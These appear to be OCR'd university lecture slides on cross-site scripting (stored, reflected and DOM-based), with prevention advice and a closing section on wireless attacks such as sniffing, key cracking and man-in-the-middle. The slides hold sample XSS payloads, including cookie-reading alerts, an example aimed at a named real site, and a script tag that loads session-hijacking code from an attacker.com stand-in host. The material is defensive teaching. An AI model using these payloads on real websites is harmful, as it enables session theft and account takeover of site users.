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* What is Cross site scripting ?
* Server-side and Client-side programming
* Who is affected by XSS?
* XSS categories
* Types of XSS Attacks
* Stored based
* Reflected based
* DOM based
* XSS prevention
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What is Cross site scripting ?

Cross site scripting is a cyberattack method that involves running malicious code

as part of a vulnerable web application.
Unlike other attack vectors like SQL injections, Cross site scripting does not

target the application directly—it primarily targets the user.

\

v/
' |



Chapter

Cross site scripting MIDOCEA \

09 UN.WQ«,IT\,|

Server-side and Client-side programming

* Server-side programming
e Client-side programming
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Server-side and Client-side programming

* Server-side programming is writing code that
runs on the server, using languages supported
by the server (such as Java, PHP, C#; it is
possible to write code that executes on the
server-side in JavaScript).

Learn About Back-End
Programming Languages
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Server-side and Client-side programming

* Client-side programming is writing code that will run on the client and is done

in languages that can be executed by the browser, such as JavaScript.
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Client side

The browser, in the user's machine, runs the code, and it's mainly done in javascript,
flash, etc. This code must run in a variety of browsers.

Its main tasks are:

» validating input (Validation must be done in the server. A redundant validation in the client could be
used to avoid server calls when speed is very critical.)

* animation

* manipulating Ul elements

* applying styles

* some calculations are done when you don't want the page to refresh so often
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* Cross-Site Scripting, or XSS (not to be confused with CSS or Cascading
Style Sheets), allows attackers to inject client-side script in a web page.

* The attacker injects script, such as JavaScript, VBScript, ActiveX, HTML,
or Flash into an application to try to get access to sensitive information
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* Cross Site Scripting is one of the most common
application level attacks that hackers use to sneak into
web applications today.

* Cross site scripting is a type of computer security
vulnerability typically found in Web applications, such as
web browsers through breaches of browser security, that
enables attackers to inject client-side script into Web
pages viewed by other users.
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* The goal of the CSS attack is to steal the client cookies, or any other
sensitive information, which can identify the client with the web site.

* Unlike most attacks, which involve two parties — the attacker, and the
web site, or the attacker and the victim client, the CSS attack involves
three parties — the attacker, a client and the web site.
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* The players:

* An Attacker
* Anonymous Internet User
* Malicious Internal User
* A company’s Web server (i.e. Web application)
* External (e.g.: Shop, Information, CRM,
Supplier)
* Internal (e.g.: Employees Self Service Portal)
* A Client
* Any type of customer
* Anonymous user accessing the Web-Server

\




/

Chapter

Cross site scripting MIDOCEA

09 UN.WQ«,WV|

* Static websites are not at risk.
* Dynamic websites (using AJAX, Flex, for example) are vulnerable.

» XSS differs from other web attack vectors (e.g., SQL injections), in that it
does not directly target the application itself. Instead, the users of the web
application are the ones at risk.
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1. Attacker sends malicious code
2. Server stores message
3. User requests message
4. Message is delivered by server

5. Browser executes script in message

Web Server

Get fforum jsp?fid=122&mid=2241

A

~N

Did you know this?

Re: Error message on startup

| found a solution!

Can anybody help?

Error message on startup

This is only one
example out of
many attack
scenarios!

Client

/
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Diagram of XSS Attack (another scenario)

Attacker sends URL Link via email or embedded in
another web page to the victim

Vicum clicks link and requests page (with
malicious script as parameters) :> m

webserver returms the page embedded with
I:I- the script the attacker chose <
=3
== 7

wvictims web browser then
executes the script

_ .
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» XSS attack’s first target is the Client
* Client trusts server (Does not expect attack)
* Browser executes malicious script
* But second target = Company running the Server
* Loss of public image (Blame)
* Loss of customer trust
* Loss of money
/
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Fle Edt Format Help
<¥ out.printin( welcome = + fequest.getParameter( name" )); %> ﬂ

http://myserver.com/test.jsp?name=Stefan

A http:/ /localhost:50000/b2b/test. jsp?name =Stefan - Microsoft Inter

Ele Edt  View Favorkes Took Hep [mp:ub:m:‘s;&nmg <HTM L>
Address [ @) retp:/flocahost:50000/b2b test. fsp name=Stefan 5] PG |unks ®
= Welcome Stefan
Welcome Stefan
</Body>
</HTML>
=
&) Dore LD B ocalinwenet 4
http://myserver.com/welcome jsp7name-<scrlpt>alert("Attacked")</scr|pt>
2 httg/ /localhost:50000/b2b,/test.jsp?name = <script > slert CALESckS criph =10] x|
File Edt Vew Favorkes Took MHeb i <HTML>
Bk » = - QD 9) A Qsearch [afFavorites PMeda I - I <Bodv>
Address [@] hito:/flocahost:50000/b2bjtest. spname= <script >alert(Attacked ) <fscript>  ¥| (@G0 | Links * Y
et X : Welcome
A\ wsed <script>alert("Attacked")</scri
[ ] pt>
=
[€) Opering page hitp:flocahast 50000/bzbitest.. I [T ¥ tocal intranet = </ Body>
\_ </HTML> -/
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XSS categories :

Two Categoriesof XSS attacks:

* Nonaltering (or Non Persistent): causes no change to the page functionality

* Altering (or Persistent): a script injection that can be placed permanently in
the database which causes change to the page functionality that will persist
each time the page is requested
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Types of XSS Attacks

Types of XSS Attacks
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Stored/Persistent Cross-Site Scripting

* Stored XSS involves an application receiving data from a malicious
source and storing the data for use in later HTTP responses. This is
also known as second-order or persistent XSS, because it persists
in the system.

* The data can come from any untrusted source that sends an HTTP
request to the application, such as comments posted on a blog or
an application that displays messages.
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* An example of a stored XSS attack is an Ecommerce

website that allows customers to post reviews of
products.

* Now consider that the mechanism used to publish

reviews does not properly sanitize user inputs, allowing
attackers to embed HTML tags in the text they submit.

\
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Perpetrator injects the Website 9
website with @ malicious For each visit to the
script that steals each website, the malicious
visitor's session cookies script is activated
Visitor's session cookie
is sent to perpetrator.
<
attacker/perpetrator Website Visitor
Perpetrator discovers a
website having a vuinerability

that enables script injection
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* |If we have a site that permits us to leave a message to the other user and we inject a
script instead of a message in the following way:

Title:
Message
Title: Test XSS
Could not find message 0 Message: «TaLs -]
S -l Lol
<zcrptsalert(document cootn)tlsctD a l

Message List

Welcome 10 cur sysiem _\_'_J

(Sutet )

Could not find message O

\ Message List )
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* Now the server will store this information and when a user clicks on our fake
message, his browser will execute our script as follows:

Could not find message 0

Message List
tet
C:@ Microsoft Internet Explorer
JB JSESSIONID=4ATIDCHFPICIDR00DAICF TOBELTOCE
e )
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* For example, an attacker could submit review text like this:

* Really enjoyed this product, highly recommend it. “<script
src="http://attacker.com/sessionhijack.js”> </script>"

* The review is published on the page, and loads for every user
who views the page (hence this is a stored XSS attack).

* When a new visitor loads the page, the malicious JavaScript is
executed, attackers hijack the user’s session, and can
impersonate them on the site from this point onwards.
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Reflected Cross-site Scripting

Reflected XSS is a simple form of cross-site scripting that
involves an application “reflecting” malicious code
received via an HTTP request. As a result of an XSS
vulnerability, the application accepts malicious code
from the user and includes it in its response.
Non-Persistent or Nonaltering.

\
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Reflected XSS

* A reflected XSS vulnerability happens when the user
input from a URL or POST data is reflected on the page
without being stored.

* This means that an attacker has to send a crafted link
or post form to the victim to insert the payload, and
the victim should click the link.

* This kind of payload is also generally being caught by
built in browser XSS filters, like in Chrome, Internet
Explorer or Edge.
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o An attacker finds an XSS hole in a web application

The attacker creates an attack URL for stealing
sensitive information and disguises
it sO that it appears legitimate

oy

wWhen the victim logs
in, Javascript embedded
with thhe malicious XSS
link executes and
transmits the victim's
login information to the
attacker.

The attacker
distnbutes the
malicious XSS link via
social enginesering to
unNnsSuspecting users

~N
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For example, suppose a website encodes a message in a URL
parameter. If the application does not sanitize the input provided by
the URL parameter, an attacker can inject a malicious script into it,

like this:

https://web-app.com/status?message=<script>/*+malicious+code...+*/</script>

<p><script>/*+malicious+code...+*/</script></p>

When a user visits the page, the attacker’s script executes, and the
script now has access to any action or data that the user can access.
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Reflected XSS Example

Exploit URL:
http://www.nikebiz.com/search/?q=<script>alert('XSS')</script>&x=08&y=0

Cross site scripting: Reflected XSS MIDOCEAII}I|
\

HTML returned to victim:
<div id="pageTitleTxt"> <h2><span class="highlight">Search Results</span><br
/> Search: "<script>alert('XSS')</script>"</h2>
&£ 1 e (¢ Thternet Ty

O Gack - ) | xj | :~] ; ) 7 Search Favorites 6_1’ L - g wl - ﬁ

& 1 htep i fvwww  nikebiz. comfsearchf?qe <script >alert(‘KS5') < fscript = ot e Oty w0
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DOM-based Cross-site Scripting

* The Document Object Model (DOM) is interface (API) for HTML and
XML documents.

* The DOM is an internal data structure that stores all of the objects
and properties of a web page. For example, every tag used in HTML
code represents a DOM object.

* Additionally, the DOM of a web page contains information about
such properties as the page URL and meta information. Developers
may refer to these objects and properties using JavaScript and
change them dynamically.
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* The Document Object Model is what makes dynamic, single-

page applications possible. However, it is also what makes
DOM-based cross-site scripting possible.

* Unlike all other types of cross-site scripting, DOM-based XSS
is purely a client-side vulnerability. This means that during a
DOM-based XSS attack, the payload never reaches the
server. The entire attack happens in the web browser.
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* DOM-based XSS is an advanced XSS attack. It is possible if the web
application’s client-side scripts write data provided by the user to
the Document Object Model (DOM).

* Again : A DOM-based XSS attack is often a client-side attack and the
malicious payload is never sent to the server. This makes it even
more difficult to detect for Web Application Firewalls (WAFs) and
security engineers who analyze server logs because they will never
even see the attack.
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* The data is subsequently read from the DOM by the web
application and outputted to the browser. If the data is incorrectly
handled, an attacker can inject a payload, which will be stored as
part of the DOM and executed when the data is read back from
the DOM.

* DOM objects that are most often manipulated include the URL

(document.URL), the anchor part of the URL (location.hash), and
the Referrer (document.referrer).
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The example below of a welcome page in a web application,
which retrieves a URL parameter to populate the user’s name.

<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>

<BR>

Welcome

</HTML>

\

v
' |



Chapter

Cross site scripting: DOM-based Scripting MIDOCEAil!

09 UNIVERSITY
)

* This page uses a URL parameter to input the user’s name, like this:
* http://www.vulnerable.site/welcome.htm|?name=lJill
* But a malicious user can inject JavaScript code into the request, like this:

* http://www.vulnerable.site/welcome.html|?name=alert(document.cookie)

DOM-based XSS candocer ORL

2. Bad client-side code uses . ot 3. Bad thing
malicious data verbatim in happens
DOM manigulation
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* The difference between DOM-based XSS attacks and other
types is that the malicious code is loaded into the DOM as
opposed to the website. Otherwise, it works similarly to a
non-persistent XSS attack.

* It's relatively similar to reflected XSS but the difference is
that in modifying the DOM the data might not ever got to the
server (which changes how it can/should be mitigated as
server-side filters might not be effective).
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How Can You Prevent Cross-Site Scripting Attacks?
XSS Prevention: Reflected and Stored XSS

1. Sanitizing Inputs

» Reflected and stored cross-site scripting can be sanitized on the server-side
and there are multiple ways of doing it.

» Blacklisting characters that are deemed unsafe won’t really work out in the
long run since some malicious user might figure out some bypass for it as it
usually happens. What you need to do is whitelist what is allowed.

* Use a security encoding library to encode all parameters and user input. If you
need to insert parameters/user input data into your HTML body, add an HTML

escape before insert itself.
* Note : Blacklisting: by identifying characters that are not allowed. Whitelist : allows only specific
characters
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2. Use HTTPOnly cookie flag

It is difficult to prevent all XSS flaws in your application. To reduce the
impact of XSS vulnerabilities, use the HTTPOnly flag—if the browser
supports it, this flag ensures that cookies cannot be accessed by client
side scripts, effectively blocking XSS attacks.

The flag is enabled in .NET applications default, but it needs to be
enabled manually in other languages.

\
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3. Implement Content Security Policy

* Content Security Policy (CSP) is another effective
strategy to help mitigate the impact of XSS
vulnerabilities. It is a browser-side solution that lets
you create lists specifying access permissions to client
side resources, such as JavaScript and CSS.

* CSP uses an HTTP header to instruct the browser to
execute resources only from the specified sources.

\
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For example:
Content-Security-Policy: default-src: 'self’; script-src: 'self' static.domain.tld

This command instructs the web browser to only load all resources from a known
source, in this example static.domain.tld.

\
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* XSS Prevention: DOM XSS

* DOM XSS can’t be sanitized on the server-side since all
execution happens on the client-side and thus the
sanitization is a bit different.
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 What is wireless networking?

* Wireless networking is a technology that allows devices to connect
and communicate without the need for physical wires or cables.

* it uses radio waves, infrared, or microwave signals to transmit data
between devices like laptops, smartphones, printers, and routers.

\
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Wireless types
1. Wi-Fi Standards (IEEE 802.11):

based on:
* Frequency: ex: 5or 2.4 GHz
» Speed: ex: upto 11 or 54 Mbps

* Range: ex: Shorter range (less interference) or good range but more
interference

2. Wireless Personal Area Networks (WPAN):
» Bluetooth (IEEE 802.15.1): Short-range device-to-device communication.
* Infrared (IrDA): Line-of-sight communication.
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3. Wireless Wide Area Networks (WWAN):
* 3G, 4G LTE, 5G: Cellular network standards for mobile internet.

4. Other Standards:

 NFC (Near Field Communication): Contactless payments and short-
range data transfer.

e Li-Fi: Uses visible light communication instead of radio waves.
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Common Types of Wireless Network Attacks
* Eavesdropping (Sniffing)
« WEP/WPA Key Cracking
* Man-in-the-Middle (MITM) Attack
.
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Eavesdropping (Sniffing)

Eavesdropping, or "sniffing," is a passive cyberattack where an unauthorized person intercepts and
reads wireless network traffic. The attacker captures data transmitted between devices and access
points without altering it.

How It Works:

1.Capturing Airborne Data — Wireless networks transmit data via electromagnetic waves, which can be
intercepted by any device within range using the right antenna and software.

2.Decoding — If the data is unencrypted, the attacker can read it directly. If encrypted, they need
additional tools to crack the encryption.

3.Sniffing Tools — Attackers use software like Wireshark or Aircrack-ng to capture, analyze, and decode
data packets.
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WEP/WPA Key Cracking

WEP (Wired Equivalent Privacy) and WPA (Wi-Fi Protected Access) are encryption protocols for
securing wireless networks. Key cracking involves unauthorized decryption of these keys to gain
network access, potentially enabling eavesdropping or data manipulation.

Key Points:

*WEP is highly vulnerable and outdated due to weak encryption, making it easy to crack.

*WPA/WPA2 are more secure but can still be compromised with enough captured data (e.g., via
brute force or dictionary attacks).

Common Cracking Tools: Aircrack-ng —Wireshark

*Protection Measures: Use WPA3, disable WPS, and enforce strong passwords to prevent attacks.

\ r
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Man-in-the-Middle (MITM) Attack - Summary

A MITM attack occurs when a hacker secretly intercepts and possibly alters
communications between two parties who believe they're directly connected.

How It Works:

1.Interception — Attacker positions themselves between the victim and a service (e.g., Wi-
Fi, website).

2.Decryption — If data is encrypted, attacker may crack it (e.g., via fake Wi-Fi, SSL
stripping).

3.Relay & Capture — Attacker reads, modifies, or steals transmitted data (logins,
messages, etc.).

4.Termination — Attack ends, often without victims realizing they were compromised.
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Common MITM Techniques:

*ARP spoofing (redirecting traffic on a local network)

*DNS spoofing (sending users to fake websites)

Protection:
* Use HTTPS/VPNs to encrypt traffic.
* Avoid public Wi-Fi for sensitive tasks.

* Enable two-factor authentication (2FA).

~N




Chapter

References M| DOCEA

09 UNIVERSITY
)

https://www.youtube.com/watch?v=cl7 XZVodE

https://www.youtube.com/watch?v=cl7__XZVodE
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Thank You
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